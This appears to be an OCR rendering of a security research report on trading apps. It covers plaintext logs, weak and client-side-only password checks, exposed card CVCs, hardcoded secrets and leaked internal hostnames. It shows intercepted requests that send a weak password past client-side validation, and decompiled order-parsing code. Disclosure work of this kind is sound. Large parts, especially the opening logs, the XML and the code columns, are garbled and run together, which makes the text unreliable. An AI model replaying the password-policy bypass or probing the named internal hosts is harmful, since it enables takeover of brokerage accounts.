44:CoordinatorLayout coordinator^45:Nes				_scroll_panel^47:LinearLa
EnhancedEditText;QtyEditor","t":"47752.	DELAYED QUOTE			
05-14 12:15:52.916 2904 2921 I alws				C0000 (11 11-11 11 11-11-11-10 11
05-14 12:15:56.570 2904 2921 I alws	DU1010182			⊎8082={"a":"c","c":"42","
05-14 12:15:56.657 2704 2721 1 alws				C0000_(U_U_U_U_U_U_U_U_UA0000
05-14 12:16:00.587 2704 2721 1 alws	Status	1337		-2020
NEARLAYOUTVIYPEHOIGER 4 4 50 HppCompati				=2230
05-14 12.10.00.001 2704 2721 1 dIWS 0E_14 19.16.10 164 9904 9991 I stud	Action	Buy		@0009_/U_U_U_U_U_U_U_UA9^0^
05-14 12.10.104 2704 2721 1 diws	- Iotion	539		$\Theta 0 0 0 2 - 1 $ a · C , C · $4 2 $ 0
450 05-14 12•16•10 254 2904 2921 I ∍Tus	Quantity	0		
05-14 12:16:10 730 2904 2921 I alws	Quantity	0		17094=274925@54=B@1 =DU1010
KET@6122=?@7228=223127@10=248@	Order tures	Market		1071 211723C51 DC1 D01010
05-14 12:16:10,927 2904 2921 I aTws	Order type	Market		
05-14 12:16:13.752 2904 2921 I aTws				196@7228=223127@7108=Fill
05-14 12:16:13.754 2904 2921 I aTws	Time-in-force	Day		6040=S@11=349773196@10=13
05-14 12:16:13.797 2904 2921 I aTws				lerId=349773196
05-14 12:16:13.831 2904 2921 I aTws	Order originator	Customer		d.b.c.a\$10fa83eb2
05-14 12:16:13.835 2904 2921 I aTws				1 =DU1010182++A++T©11=349773
nAAA==©7614=c▲o©10=145©				
05-14 12:16:13.837 2904 2921 I aTws 🍃	🐔 [main]:	Table model bind d	one	
PE-14 12.16.12 044 2004 2021 I THO	- FIN-0-01	<u>- 25-</u> p©320=77©11=3	49773196©70	094=274925©55=SYMC©54=B©721
SYMANTEC_CORP@151=0@1=DU1010182+A+T@7113	I=MARKET©14	=1337 <b>0710</b> 8=Filled@	7110=DAY©71	L15=#FFFFFF©7114=#000000©70
1:107099=Bought 1,337 Market DAY06241=107	270=0☺			
M5-14 12:16:14.157 2904 2921 Lalws	: Lmainl:	hiding transmitSli	der, check	OrderIsDone orderDone. Fill

#### Watchlists:





### 

<string name=".cached watchlist.">EUROSD;;GEPOSD;;USDJPY;;AUDOSD;;USDCAD;; CrudeOIL;;GOLD;;BTCUSD;;ETH;;DJ30;;S%amp;P500; LE;;USDMXN;;BTCEUR;;BTCJPY;;</string>

<string name=".chart\_state">&lt;?xml version='1.0' encoding='UTF-8' standa lone='yes' ?><bundle key=&quot;root&quot;&gt;&lt;string key=&quot;CHART ID" value=&squot;<string key=&quot;edit\_index&squot; value="-l" /><string key=&quot;show.tips&quot; value=&quot;t ue" /><bundle key=&quot;0.parameters.bundle&quot;&gt;&lt;string key ="parameters.count" value="0" /><string key=&quot;.fitVertical&quot; value=&quot;false&quot; /&gt;&lt;string key=&quot;.fitVertical&quot; value=&quot;false&quot; /&gt;&lt;string key=&quot;.showPortfolio&quot; value=&quot;false&quot; /&gt;&lt;string key=&quot;show.ind icators" value="false" /><string key=&quot;.showPortfolio&quot; /&gt;&lt;string key=&quot;.filVertical&quot; /&gt;&lt;string key=&quot; value=&quot; &guot; value=&quot; &guot; /&gt;&lt;string key=&quot; value=&quot; &guot; value=&quot; &guot; /&gt;&lt;string key=&quot; value=&quot; &guot; /&gt;&lt;string key=&quot;.study=&quot; &guot; /&gt;&lt;string key=&quot;.study=&quot; &guot; /&gt;&lt;string key=&quot; /&gt;&lt;string key=&quot; /&gt;&lt;string key=&quot; value=&&quot; &guot; /&gt;&lt;string key=&quot; /&gt;&lt;string key=&quo
nitr0us@bukowski:~/android/com.firstrade.android\$ strings app				<b>%</b> β	3:17
Cache/99c50ebdbfed13b7_0   grep symbol	$\sim$	Symbol or	Company		1
e":"Normal", "result":{"list_id":1, "name":"Mobile Favorites","		× Mobilo E	avaritaa		Ÿ
hlist_id":1186971,"sec_type":1,"symbol" "B","quantity":0,"las ask":60.01."vol":285947."change":1.32."change_percent":2.26."			avonies	·	
"unit_cost":0,"cost":0,"gain_{mount":0,"gain_percent":0,"bids	Symbol	Last	Change	Vol	lume
"high":60.24,"low":59.31,"close price":58.68,"update_time":"0 hlist_id":1186905,"sec_type":1,"symbol":"EWW" "guantity":0,"1	В	60.00	+1.32	289	.6K
.68, "ask":56.69, "vol":1147548, "change":0.67, "change_percent":	EWW	56.68	+0.67	1.	2M
<pre>nt":0,"unit_cost":0,"cost":0,"gain_amount":0,"gain_percent":0 ize":14,"high":56.89,"low":56 41,"close price":56.01,"update</pre>					
<pre>}, {"watchlist_id":1186914,"sec_type":1,"symbol":"GRBMF" "quar "bid":2.45 "</pre>	GRBMF	2.48	+0.06	1	.8K
amount":0, "unit_cost":0, "cost :0, "gain_amount":0, "gain_percer	SPY	246.67	+2.54	53.	.3М
"asksize":100,"high":2.5,"low":2.48,"close_price":2.42,"updat					
6,"bid":246.6,"ask":246.61,"vol":51302492,"change":2.47,"chan					
<pre><string name="last.server.key">MarketsProd</string> <string name="PRFF_KEY_MANDATORY_UPDATE_LINK">https://play.gg</string></pre>	odje com/	store/ann	a/detail	s2id=cc	om ma
<pre><string name="r. :@gmail.com quotes">AmericaMovil Com <string name="r. :@gmail.com quotes">AmericaMovil Com <string name="r. :@gmail.com quotes">AmericaMovil Com </string></string></string></pre>	emex Medtr	conic   TESL	A GoPro	<td>ng&gt;</td>	ng>
<pre><int name="PREF_KEY_LATEST_SELECTED_TAB" value="3"></int> </pre>				UTTE OI	-
<pre>ey="CHART ID" value="173873340" /&amp;qt&lt;str:</pre>	ing key=&c	n='1.0' en nuot;edit :	index&qu	iot; val	sta Lue=&
		_	-		
I System.out: {WatchList} I System.out: {WatchListId>1268844001{/WatchListId>	≡ Wat	ch Lists		Q	G
I System.out: {WatchListTune>M{/WatchListTune> I Sustem out: {WatchListName>POTENTIAL INHESTMENTS{/WatchListN					
I System.out: (/WatchList)	Select WatchList			-	
I ActivityManager: Displayed com.etrade.mobilepro.activity/com					
I System.out: Before calling service url /e/t/mobile/GetWatchI	POTENTIAL I	NVESTMENTS		+	1
Location="GetWatchListEntriesResponse.xsd" servicename="mobile Location="GetWatchListEntriesResponse.xsd" servicename="mobile	Symbol	Last	Change \$	Change %	
I System.out: (Result Code="0") I System.out: (Fault/)	CIBR	21.1699	-\$0.25	-1.14%	69.
I System.out: I System.out: {WatchListId>1268844001	AAPL	157.02	\$6.97	4.65%	54
I System.out: (Product) I System.out: (Symbol) CLBR( Symbol)		107102			0.11
I System.out: (JISPIAy_Symbol/CIBK/DISPIAy_Symbol/ I System.out: (TypeCode)EQ(/TypeCode)	SPY	246.975	-\$0.34	-0.14%	25.:
I System.out: <exchangecode <br="" exchangecode="" nsdq<="">I System.out: <entryid>3344135001</entryid></exchangecode>	NTDOY	42.35	\$0.29	0.68%	374.
I System.out: (DateAcquired)07/29/2017(DateAcquired)	HACK	29.08	-\$0.39	-1.32%	277.
I System.out: (/Product/ I System.out: (Product)				1.1.0	
I System.out: <symbol <br="" hafly="" symbol="">I System.out: <display_symbol <br="" aapl<="" display_symbol="">L System.out: <twosfields <="" edu="" symbol="" th=""><td>TSLA</td><td>323.60</td><td>\$4.03</td><td>1.26%</td><td>5.</td></twosfields></display_symbol></symbol>	TSLA	323.60	\$4.03	1.26%	5.
I System.out: <typecode <br="" eq.="" typecode="">I System.out: <exchangecode <="" exchangecode="" nsdq<="" th=""><td>NTDOY</td><td>42.35</td><td>\$0.29</td><td>0.68%</td><td>374.</td></exchangecode></typecode>	NTDOY	42.35	\$0.29	0.68%	374.
I System.out: <entryid>3344137001</entryid> I System.out: <exchangegroup>US</exchangegroup>					
I System.out: <dateacquired>07/28/2017</dateacquired> I System.out:					
I System.out: <product> I Sustem.out: <sumbol>SPV</sumbol></product>					





Recently quoted symbols:



xpected exception: java.io.WriteAbortedException: writing aborted xpected exception: java.io.WriteAbortedException: writing aborte xpected exception: java.io.WriteAbortedException: writing aborte tofill\_client.cc(121)] Not implemented reached in virtual void x tofill\_client.cc<121>] Not implemented reached in virtual void ×



Ι	System.out:	(Quote)							
Ι	System.out:	KŠymbo1>CIBR	A "					5	12:40
Ι	System.out:	<pre><pre><pre><pre><pre><pre><pre><pre></pre></pre></pre></pre></pre></pre></pre></pre>							
Ι	System.out:	<exchangecode>NSDQ</exchangecode>		Ouotes				Q	C
Ι	System.out:	<exchangename>NASDAQ NM</exchangename>							
Ι	System.out:	<exchangedesc></exchangedesc>				_			
Ι	System.out:	<typename>Equity</typename>		Set Alert	+Wato	h List		Trade	
Ι	System.out:	<typedesc></typedesc>							
Ι	System.out:	<currency>USD</currency>		_					_
Ι	System.out:	<prodstatus>1</prodstatus>	I CIE	3R 🛛		21.1	1699		
Ι	System.out:	<pre><prodsvcreturn@tutus>@{/Trod@vcRcturn@tutus&gt;</prodsvcreturn@tutus></pre>	FIDET	TOURT MASDAC	CEA	0.2451	(01.14%)		
Ι	System.out:	<pre><symboldesc cea="" cybersecurity<="" first="" nasdaq="" pre="" trust=""></symboldesc></pre>	CYBER	SECURITY FTF	CEM	60.06V	(-01.14/6)		
Ι	System.out:	<low>21.07&lt;</low>	(NSDC	)		09.000			
Ι	System.out:	<fastmktflag>0</fastmktflag>	(	*/		Bid		21.15)	× 200
Ι	System.out:	<nextearningsdate>0/0/0</nextearningsdate>				Ask		21.19	× 300
Ι	System.out:	<u>/AckCine/200//AckCine/</u>	Chart						
Ι	System.out:	<price>21.1699</price>	Gilart						
Ι	System.out:	<pre>\B102126/200</pre>	0					A	_
Ι	System.out:	<quotetype>Real Time</quotetype>	100			$\sim \sim$	$\sim$	$\sim$	~
Ι	System.out:	<isdecimalflag> True </isdecimalflag>			~				21
Ι	System.out:	<quotestatus>0</quotestatus>		~ ~					
Ι	System.out:	<newsflag> False </newsflag>		$\sim$ $^{\circ}$	$\sim$				10
Ι	System.out:	<close>21.415</close>	/						17
Ι	System.out:	<hi>21.48</hi>			0043				
Ι	System.out:	TimeZone >FST(/TimeZone>	567	NOV	2017	MAR	MAY	JUL	
Ι	System.out:	<ask>21.19</ask>	Detai	ls					
Ι	System.out:	<pre><vulue>07,012</vulue></pre>							
Ι	System.out:	<u> </u>				Day	high		
Ι	System.out:	<bid>21.15</bid>				21	.48		
Ι	System.out:	\yuuueExchangeCode>	17.90	)		-	1	22.41	
Ι	System.out:	<quotesymbol>CIBR</quotesymbol>	52 we	ek low				52 week	chigh
Ι	System.out:	<pre>{TimeStamp&gt;08/02/17-1:31:00PM ET</pre>	(08/05/	16)		21	07	(06/09/17	1)
Ι	System.out:	<pre>{HaltedFlag&gt;0</pre>				21			
Ι	System.out:	<change>−0.25</change>				Da	y low		

#### Other data:



#### Authentication

# While most web-based trading platforms support 2FA (+75%), most desktop applications do not implement it to authenticate their users, even when the web-based platform from the same broker supports it. There are a few brokers that implement 2FA but not as self-enrollment as most brokers do, instead, they require their customers to enable it through a phone call, which in my opinion is not as effective as the self-enrollment process.

Nowadays, most modern smartphones support **fingerprint-reading**, and most trading apps use it to authenticate their customers. **Only 8 apps (24%) do not implement this feature**.

Unfortunately, using the fingerprint database in the phone has a downside:



## Weak Password Policies

Some institutions let the users choose easily guessable passwords. For example, **Plus500** or **MetaTrader**:

	A a Plus World's Tradi	A C 2 9:02 Plus500 World's Trading Machine					
	Registered	User Login					
	Money	Demo					
	foo@bar.com						
	The password you en The password length 12 characters.	itered is too long. is a maximum of					
	0	<					
	(?) Forgot your password?						
	Submit	New user					
eguro   https://www.mql5.com/	en/users/bukowski31337/security						
Change password							
New password:	Confirm:						
•••••	•••••	$\leftrightarrow$ $\Rightarrow$ C $\triangle$	Es seguro https://www.mql5.com/er				
Password must exceed 4 characters Password must exceed 4 characters	Password must exceed 4 characters	MQL5	WebTerminal Documentation Ca				
Confirm your authorization to apply ch	anges	bukowski3	1337				
Current password: ••••••	Save	2345 Rrofile	🗙 Main 🔳 Contacts 🔑				

The lack of a secure password policy increases the chances that a brute-force attack will succeed in compromising user accounts.

In some cases, such as in **IQ Option** and **Markets.com**, the password policy validation is implemented on the client-side only, hence, it is possible to intercept a request and send a weak password to the server:

		۹ (	Trade Now
	Change Password		
Any quartiens about how to set	If you notice any suspicious activity, w	e recommend changing your passwo	ord.
up personal data?	Enter your old paraword	Enter a new password	
Visit our Help Center	Enter your old password	Enter a new password	
	•••••	•••••	
0	Cancel Save	Password Strength: Your passw be at least 6 characters long an at least 1 letter and 1 number	vord must ad contain
0	Session History	Average	_
0	Information about the use of your acc	count. Last activity: today at 9:51 pm (E	Browser
Request	Re	sponse	
Raw Params Headers Hex	R	w Headers Hex JSON Decoder	
POST /api/profile/password HTTP/1.1	HTTP	/1.1 200 OK	
Host: iqoption.com	Serv	er: nginx	
Connection: close	Date	: Tue, 03 Apr 2018 02:56:46 GMT	
Content-Length: 362	Cont	ent-Type: application/json; charset=UT	F-8
User-Agent: Mozilla/5 0 (Windows NT 6 1: Win64: x64) Any	pleWebWit /537 36 (KHTML Set-	Cookie: wat=c9c64e071d2853bc7906c017	a231ad1cc46ab630: nath=/
like Gecko) Chrome/65.0.3325.181 Safari/537.36	Set-	Cookie: ssid=69938bd98d5db64728c9e7e0e	ca2accl; expires=Thu, 03-Mav-2018 02:56:46 GMT;
Content-Type: multipart/form-data; boundary=WebKitF	mBoundaryLNcErLOP16Hx0soS Max-	Age=2592000; path=/; domain=.iqoption.	com
Accept: */*	Set-	Cookie: ssid=69938bd98d5db64728c9e7e0e	ca2accl; expires=Thu, 03-May-2018 02:56:46 GMT;
Referer: https://iqoption.com/en/profile/security	Max-	Age=2592000; path=/; domain=iq-option.	com
Accept-Encoding: gzip, deflate	Sec- May-	<pre>cookie: ssid=69938bd98d8db64/28096/eue Age=2592000: nath=/: domain=igontion c</pre>	calacci; expires=inu, 03-may-2018 02:58:48 GHI;
Cookie: ga=GA1.2.980530117.1522723886; giA=GA1.2.1599	770701.1522723886; X-Fr	ont-Host: fe-api-03	
landing=iqoption.com;	Acce	ss-Control-Allow-Origin: https://iqopt	ion.com
red_test_ab={%22random_id%22:%22F832FD49-F1C7-E462-455D	-A4C747D8EC62%22%2C%22group Acce	ss-Control-Allow-Credentials: true	
<pre>\$22:1}; _uetsid=_uet94f963e7; _ym urd=15227238928327809</pre>	91; lang=en_US; Acce	ss-Control-Allow-Methods: GET, POST, 0	PTIONS
ssid=f763c78d630a1af9d94821cdar431772:	X-Co	ntent-Type-Options: nosniff	0
uat=c9c64e071d2853bc7906cs17a231ad1cc46ab630; platform	m=15; is_regulated=0 Cont	ent-Length: 88	
VebKitFormBoundsviNcErL0Pl6HxOsoS Content-Disposition form-data; name="current_password"	{"is	Successful":true,"message" ["Your pass	word was successfully changed") "result":null}
Qwertyf00b4r			
WebKipFormBoundaryLNcErLOP16Hx0soS			
Content-Disposition: form-data; name="password"			
123456 B bKitFormBoundaryLNcBrL0Pl6Hx0soS			

👘 MARKETS.COM 🔜 📿	Deposit and Start Trading				₩E Englis	1
Search all instruments	SETTINGS				×	Trac
Favorites	Customer Info Leverage Settings	<ol> <li>Change your passw</li> <li>Current password</li> </ol>	vord	0		
Orders 0	Change Password Notifications	New password	****	04	Your password must contain 6-15 characters (digits and letters only), with at least one number, one lowercase letter and uppercase letter	6.5%
Featured	Platform Features	Retype password		0		-
Edited request Response				riginal request	Edited request Response	
Headers Hex			R	aw Headers	Hex JSON Decoder	
g6092921_24.group24=S1529523710. 756=VTExo3qVS3m5fbubBtrYrGGuK18A DBFC2HMeNUQIDV3A20108620543A97C g6092921_27.group27=S1529523815. YNIHZWgaQbD3qWHBEjwAAAADcuHqBXf9 hashedPassword=60b49a6caefec54a3	a4d2da75b7; lc_window_state.group AAAAQUTPAAAAABpfj9e5r/sfcWfcTIrF BZUJ&ANSSBAPHPb32KUVTH33C018062C 900924c9af; visid_incap_1204500= acZeis47pwv05; incap_ses_978_1204 e9661b1145fa476&oldPassword=Qwert	024=minimized; incap_s Wsz; incap_ses_979_10 %3294707BCFWRFDEDEHHZ yy9YfbsSNCghflfQSP320 5500=PHX9exh5jkSGwaS374 yf00b4r <mark>inewPassword=1</mark> 2	55_978_ 97756=E { 2XKFBBJ quKlsAA 16SDWqu \ 23	"body": "ff2 "success": t	fd59f913d8b8632bbb9707581be54", rue	
Used Margin: ' \$U.UU Real Account						
Profit / Loss \$0.00		Save Changes	Changes save	ed		

# Automatic Logout/Lockout for Idle Sessions

Most web-based platforms logout/lockout the user automatically, but this is not the case for **desktop (43%) and mobile apps (25%)**. This is a security control that forces the user to authenticate again after a period of idle time.

# Privacy Mode

This mode protects the customers' private information from being displayed on the screen in public areas where shoulder-surfing<sup>[7]</sup> attacks are feasible. **Most of the mobile apps**, **desktop applications, and web platforms do not implement this useful and important feature.** 

The following images show before and after enabling privacy mode in **Thinkorswim** for desktop and for mobile:



•••• TELCEL 4G	1:10 p.m.	99% 💼 🗲	●●●○○ TELCEL	4G 💥	1:10 p.m.	99% 🔳	<b>-</b> • <del>/</del>
	Balances All Accounts	Edit			Balances All Accounts	Ec	lit
Commissions YT	D:	\$34.75	Commission	ns YTD		•••••	•
Net Liquidating V	′alue:	\$199,737.77	Net Liquida	iting Va	lue:	•••••	•
Option Buying Po	ower:	\$168,938.83	Option Buy	ing Pov	ver:	•••••	•
Stock Buying Pov		\$237,877.66	Stock Buyir	ng Pow		•••••	•
FOREX SUMMAR	Y		FOREX SUM	MMARY			
Forex Buying Pov		\$10,000.00	Forex Buyin	ng Powe		•••••	•
Forex Cash:		\$10,000.00	Forex Cash			•••••	•
Forex Commissio	ns YTD:	\$0.00	Forex Comr	mission	is YTD:	•••••	•
Forex Equity:		\$10,000.00	Forex Equit	y:		•••••	•
Forex Floating P/	L:	\$0.00	Forex Floati	ing P/L:		•••••	•
Forex Margin:		\$0.00	Forex Marg			•••••	•
Forex Risk Level:		0.00%	Forex Risk I	Level:		•••••	•
Forex UPL:		\$0.00	Forex UPL:			•••••	•
С	hange Account			Ch	ange Acco	punt	
Privacy Mode			Privacy Mo	de			
Quotes Positions	Orders 4	lerts More	Quotes Pr	ositions	Orders	Alerts More	e

## Yahoo! Finance:



It's worth noting that not only balances, positions, and other sensitive values in the trading context should be masked, but also credit card information when entered to fund the trading account. Following **easyMarkets**, where the CVC is not masked:

●●●●○ TELCEL ᅙ	1:16 p.m.	68% 💷 • <del>/</del>								
<	Deposit									
Total payment amount USD 1337.00										
	agains									
Card Number	5483 0207 5628 5006									
Card Holder Name	JOHN SPENCER									
Card Expiry Date	02 V / 2022 V									
CVC	123									
Cancel	Submit Deposit									

# Hardcoded Secrets in Code and App Obfuscation

16 Android .apk installers (47%) were easily reverse engineered to human-readable code since they lack of obfuscation. Most Java and .NET-based desktop applications were also reverse engineered easily. The rest of the applications had medium to high levels of obfuscation, such as Merrill Edge in the next screenshot.



The goal of obfuscation is to conceal the applications purpose (security through obscurity) and logic in order to deter reverse engineering and to make it more difficult.

In the non-obfuscated platforms, **there are hardcoded secrets such as cryptographic keys and third-party service partner passwords**. This information could allow unauthorized access to other systems that are not under the control of the brokerage houses. For example, a Morningstar.com account (investment research) hardcoded in a Java class from the reversed **E-TRADE** app:



A private key hardcoded in AvaTradeGO:



Java classes could easily be reverse engineered. For example, **Thinkorswim**'s TCP-order server was easily reverse engineered in order to determine the acceptable format for emitting buy/sell orders remotely. Code demonstrating an order pop-up attack (**Thinkorswim Order Pop-up Attack**) on this platform is included in **Appendix A**.

<pre>private void parseCommand(String command) String last = command; if ((last = testCommandPrefix(last)) == null)= if (last = testCommandPrefix(last))</pre>	ORDER FOR NFLX (10) LIMIT COST 2000	00
if ((last = parseUnderlying(last)) == null)		
<pre>throw new IllegalArgumentException();</pre>		
<pre>if ((last = parseLegs(last)) == null)</pre>		
<pre>throw new IllegalArgumentException();</pre>		
<pre>if ((last = parsesurfix(last)) == mull) throw new IllegalArgumentException();</pre>		
S S S S S S S S S S S S S S S S S S S		
*		
<pre>private String testCommandPrefix(String s) {     if (/lg_startsWith("OPDER FOR "))    ("OPDER FOR " ) </pre>	$\operatorname{path}() \ge a \operatorname{longth}()))$	
return null;	ingon() - s.iengon()/)	
<pre>return s.substring("ORDER FOR ".length());</pre>	mode = 1;	<pre>if (s.charAt(closure + 1) != ' ') {</pre>
}	buffer.append(ch);	return null;
private String parseUnderlying(String s) {		<pre>return s.substring(closure + 1);</pre>
<pre>int i = s.indexOf(' ');</pre>	ch = s.charAt(++idx);	}
if $((i == 0)    (i == -1)    (i + 1 >= s.length()))$		
<pre>return null; this underlying = s substring(0, i);</pre>	<pre>if (buffer.length() == 0) {</pre>	int idx = 0:
return s.substring(i + 1);	return null;	<pre>int len = s.length();</pre>
}	if (mode == 0) /	<pre>while ((idx &lt; len) &amp;&amp; (s.charAt(idx++) == ' ')) {}</pre>
	<pre>leg.gty = Double.parseDouble(buffer.toString());</pre>	if (ide >= lon) (
int idx = 0;	} else	return "";
<pre>if (s.charAt(idx) != '(')</pre>	<pre>leg.symbol = buffer.toString(); buffer.delete(0, buffer.length());</pre>	
return null:	burrer.delebe(0, burrer.rengon()),	<pre>StringTokenizer tokens = new StringTokenizer(s, "");</pre>
int closure = s.indexOf(')');	List symbols = (List)this.legs.get(leg.symbol);	<pre>if ((tokens.nasmorelokens()) &amp;&amp; (!tokens.nextloken().equals("LiMIL"))) {     return null:</pre>
return null;	if (symbols == null)	}
}	symbols.add(leg);	<pre>if (!tokens.hasMoreTokens())</pre>
idx++;		return null; if (ltokens pertToken() equals("COST")) (
<pre>StringBuilder buffer = new StringBuilder();</pre>	if (ch == ')') {	return null;
for (;;) {	break;	
int mode = 0;	ch = s.charAt(++idx);	if (!tokens.hasMoreTokens())
<pre>iradingServerKALLeg leg = new TradingServerRATLeg while ((ch != ', ') &amp;&amp; (ch != ')')) {</pre>	(); while (ch == ' ') {	this.limit = Integer.parseInt(tokens.nextToken());
if (ch == ' ') {	ch = s.charAt(++idx);	this.limit_order = true;
if (mode == 1)		
return null; leg_gty = Double_pargeDouble(buffer_toString())	<pre>if (closure + 1 == s.length()) {</pre>	return "";
<pre>buffer.delete(0, buffer.length());</pre>	return ""	

Interestingly, **14 of the mobile apps (41%) and 4 of the desktop platforms (29%)** have traces **(hostnames and IPs) about the internal development and testing environments** where they were made or tested. Some hostnames are reachable from the Internet and since they're testing systems they could lack of proper protections:



	a.add(new co("Debug !	TE04 Platform", cp.c, "http://	/ste04lvtosapp01.iteclientsys.local:7001	/Mobile", "STE04 Prod",
vto				26p=https%3A%2F%2Finvest
));				
	a.add(new co("Debug \$	TE04 Platform", cp.d, "http://		/Mobile", "STE04 Demo",
vto				26p=https%3A%2F%2Finvest
));				
	a.add(new co("Debug \$	TE06 Platform", cp.c, "http://		/Mobile", "STE06 Prod",
vto				26p=https%3A%2F%2Finvest
));				
	a.add(new co("Debug \$	TE06 Platform", cp.d, "http://		/Mobile", "STE06 Demo",
vto				26p=https%3A%2F%2Finvest
));				
	a.add(new co("Debug \$	TE07 Platform", cp.c, "http://		/Mobile", "STE07 Prod",
vto				26p=https%3A%2F%2Finvest
));				
	a.add(new co("Debug \$	TE07 Platform", cp.d, "http://		/Mobile", "STE07 Demo",
vto				126p=https%3A%2F%2Finvest
));				
	a.add(new co("Debug ]	<pre>.ocal Platform", cp.c, "http://</pre>		10.0.2.2:25005", "10.0.2
MV\		tps%3A%2F%2Finvest.tdameritrac	de.com%2Fgrid%2Fm%2Fola%3Fentity%3D103")	);
	a.add(new co("Debug ]	<pre>_ocal Platform", cp.d, "http://</pre>		10.0.2.2:25005", "10.0.2
MY\	\u0026o=220\\u0026p=ht	tps%3A%2F%2Finvest.tdameritrac	de.com%2Fgrid%2Fm%2Fola%3Fentity%3D103")	);
	🚮 DomainType.class 🛛	🚮 DomainTypeUtil.class 🖂	B ProxyListComboBoxModel.class ⊠	🔚 ProxyListEncoder.class 🔀
e	2			
	static final String TE	)A_DEFAULT_TECH_SUPPORT_PHONE = "8	800-672-2008"	
			500-072-2050 <b>,</b>	
25	static final String TE	W_DEFAULT_TECH_SUPPORT_PHONE = "1	1-877-348-6722";	
	<pre>static final String TC static final List<domain< pre=""></domain<></pre>	W_DEFAULT_TECH_SUPPORT_PHONE = "1 I <u>nType</u> > VALUES = new ArrayList(),	1-877-348-6722";	
33	<pre>static final String TC static final List&lt;<u>Domain</u> static final <u>DomainType</u></pre>	DW_DEFAULT_TECH_SUPPORT_PHONE = ": THINKORSWIM = new <u>DomainType(</u> "th	1-877-348-6722"; hinkorswim", "(team.thinkorswim.com:7002,te	am.thinkorswim.com:443)(deno.
33 37	static final String TO static final List <domai static final DomainType static final DomainType</domai 	DW_DEFAULT_TECH_SUPPORT_PHONE = ": <u>TTYPE&gt; VALUES - new ArroyList();</u> THINKORSWIM = new <u>DomainType("th</u> INVESTOOLS = new <u>DomainType("Inv</u>	1-877-348-6722"; hinkorswim", "(team.thinkorswim.com:7002,te vestools", "(demo.thinkorswim.com:7002,demo	am.thinkorswim.com:443)(deno. .thinkorswim.com:443; 'paperM
33 37 41	static final String TC static final List< <u>Domain</u> static final <u>DomainType</u> static final <u>DomainType</u> static final <u>DomainType</u>	DW_DEFAULT_TECH_SUPPORT_PHONE = ": <u>ITTPE&gt; VALUES - new ArroyList();</u> THINKORSWIM = new <u>DomainType("th</u> INVESTOOLS = new <u>DomainType("Inn</u> ITD_AMERITRADE = new <u>DomainType("Inn</u>	1-877-348-6722"; hinkorswim", "(team.thinkorswim.com:7002,te vestools", "(demo.thinkorswim.com:7002,demo "TD Ameritrade", "(tda.thinkorswim.com:443)	am.thinkorswim.com:443)(de Ю. .thinkorswim.com:443; 'pap:rM (demo.thinkorswim.com:443)',
33 37 41 45	<pre>static final String TG static final List<pomai static final DomainType static final DomainType static final DomainType static final DomainType</pomai </pre>	DW_DEFAULT_TECH_SUPPORT_PHONE = ": <u>TTPDE&gt; VALUES - new ArroyList()</u> <u>THINKORSWIM</u> = new <u>DomainType("tr</u> INVESTOOLS = new <u>DomainType("Inv</u> TD_AMERITRADE = new <u>DomainType("</u> TDW_THINKORSWIM = new <u>DomainType</u> ("	1-877-348-6722"; hinkorswim", "(team.thinkorswim.com:7002,te vestools", "(demo.thinkorswim.com:7002,demo "TD Ameritrade", "(tda.thinkorswim.com:443) <u>e</u> ("TD Direct Investing", <u>THINKORSWIM.connec</u>	am.thinkorswim.com:443)(de no. .thinkorswim.com:443; /paperM (demo.thinkorswim.com:443) , tionDef, "tdw", "tdw", "1-877
33 37 41 45 49	<pre>static final String TG static final List<domai static final DomainType static final DomainType static final DomainType static final DomainType static final DomainType</domai </pre>	DW_DEFAULT_TECH_SUPPORT_PHONE = ": <u>ITTPE&gt; VALUES - new ArroyList();</u> ITHINKORSWIM = new <u>DomainType(</u> "Inv INVESTOOLS = new <u>DomainType(</u> "Inv TD_AMERITRADE = new <u>DomainType(</u> " ITDW_THINKORSWIM = new <u>DomainType</u> ( SINGAPORE = new <u>DomainType</u> ("Sing	<pre>bood 212000; 1-8072-1; hinkorswim", "(team.thinkorswim.com:7002,te vestools", "(demo.thinkorswim.com:7002,demo "TD Ameritrade", "(tda.thinkorswim.com:443) g("TD Direct Investing", <u>IHINKORSWIM.connect</u> gapore", <u>THINKORSWIM.connectionDef</u>, "sg", "</pre>	am.thinkorswim.com:443)(deno. .thinkorswim.com:443; 'pap≀rM (demo.thinkorswim.com:443)', <u>tionDef</u> , "tdw", "tdw", "1-877 sg", "800-672-2098");
33 37 41 45 49 53	<pre>static final String TC static final List(<u>Domain</u> static final <u>DomainType</u> static final <u>DomainType</u> static final <u>DomainType</u> static final <u>DomainType</u> static final <u>DomainType</u> static final <u>DomainType</u></pre>	DW_DEFAULT_TECH_SUPPORT_PHONE = ": ITTPE> VALUES = new ArroyList(), THINKORSWIM = new <u>DomainType("In</u> INVESTOOLS = new <u>DomainType("In</u> TD_AMERITRADE = new <u>DomainType(</u> " TDW_THINKORSWIM = new <u>DomainType(</u> "SINGAPORE = new <u>DomainType("Sing</u> HKASIA = new <u>DomainType("Asia"</u> ;	<pre>bood 2 2000 2 2000 2 10000 2 10000 2 1000 2 1000 2 1000 2 1000 2 1000 2 1000 2 10</pre>	am.thinkorswim.com:443)(deno. .thinkorswim.com:443; 'paperM (demo.thinkorswim.com:443)', <u>tionDef</u> , "tdw", "tdw", "1-377 sg", "800-672-2098"); E <u>RITRADE.svgLogo</u> , "+852 23'4
33 37 41 45 49 53 57	<pre>static final String TG static final List(<u>Domain</u> static final <u>DomainType</u> static final <u>DomainType</u> static final <u>DomainType</u> static final <u>DomainType</u> static final <u>DomainType</u> static final <u>DomainType</u> static final <u>DomainType</u></pre>	DW_DEFAULT_TECH_SUPPORT_PHONE = ": ITTIDE: VALUES - new ArroyList(); THINKORSWIM = new DomainType("th INVESTOOLS = new DomainType("In" TD_AMERITRADE = new DomainType("In" TD_MERITRADE = new DomainType("Sing ISINGAPORE = new DomainType("Sing HKASIA = new DomainType("Live TOS ADMIN = new DomainType("Live TOS	<pre>bbb/b/2/2003 ; 1-877-348-6722"; hinkorswim", "(team.thinkorswim.com:7002,te vestools", "(demo.thinkorswim.com:7002,demo "TD Ameritrade", "(tda.thinkorswim.com:443) e("TD Direct Investing", <u>IHINKORSWIM.connect gapore", IHINKORSWIM.connectionDef</u>, "sg", " <u>IHINKORSWIM.connectionDef</u>, "hkasia", <u>ID AM</u> S admin", "tosadmin.tos.10:7002", "", "tos"</pre>	am.thinkorswim.com:443)(deno. .thinkorswim.com:443; 'paperM (demo.thinkorswim.com:443)', tionDef, "tdw", "tdw", "1-877 sg", "800-672-2098"); ENITADE.sygLogo, "+852 23'4 , "800-672-2098");
